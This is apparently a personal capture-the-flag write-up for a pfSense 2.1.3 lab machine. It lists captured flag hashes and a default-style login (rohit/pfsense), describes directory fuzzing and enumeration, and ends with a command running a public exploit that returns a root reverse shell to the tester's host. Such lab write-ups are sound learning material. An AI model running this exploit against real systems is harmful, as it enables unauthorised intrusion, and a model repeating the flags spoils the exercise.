Tracker
- User
- root
Loot
Proofs
File | Flag |
---|---|
user.txt | 8721327cc232073b40d27d9c17e7348b |
root.txt | d08c32a5d4f8c8b10e76eb51a69f1a86 |
Passwords
Username | Hash | Cleartext | Notes |
---|---|---|---|
rohit | pfsense | pfsense login on tcp/443 |
Interesting Artifacts
Artifact | Original Path | Saved Path | Notes |
---|---|---|---|
Summary
OS: FreeBSD
Distribution: FreeBSD 8.3-RELEASE-p16
Architecture: ?
FQDN: pfSense.localdomain
vhosts: ?
Lessons Learned
Always fuzz web directories. Don't descend recursively until I've at minimum hit each path with a 2.3-medium wordlist scan.
Solution
Enumeration
Open Ports
http on tcp/80
lighttpd 1.4.35
https? on tcp/443
Manual Enumeration
The first thing I did against this target machine was to run an Nmap quick scan, full TCP port scan, and top 20 UDP port scan. I followed these scans up by running service-specific Nmap script scans on each discovered exposed port.
Nmap discovered and identified the http server running on tcp/80. Nmap could not confirm that the service running on tcp/443 was actually and https server.
Per whatweb scans, tcp/80 is redirecting to tcp/443.
Per robots.txt, tcp/80 has moved to tcp/443.
The index page on tcp/443 appears to be a Login page, and might use php?
It looks like gobuster found some directories and php files as well.
I decided to run wfuzz using the same seclists common.txt wordlist against 443, but through my Burp proxy, to generate a site tree.
Per the ChangeLog.txt file, there is an outstanding vulnerability on the firewall.
Based on the md5 hash of the .ico file found in /themes/pfsense_ng/favicon.ico, this target is running pfSense 1.2.
I then ran gobuster through burpsuite against the webroot on tcp/443 again, this time using the 2.3-medium wordlist.
Looking at the discovered system-users.txt file, it exposes a username and hints at a password.
I decided to try the username rohit, plus the default pfsense password of pfsense to log in, which was successful.
While logged in, I can see that this is actually pfsense version 2.1.3, running on FreeBSD 8.3.
Searching for this version in searchsploit, I found a python exploit that should return a web shell if successful. It takes rhost, lhost, lport, and pfsense username and password as arguments.
I send the exploit, using the discovered credentials.
python exploit/43560.py --rhost 10.10.10.60 --lhost 10.10.14.24 --lport 445 --username rohit --password pfsense
And I get a shell back! I appear to be a root user!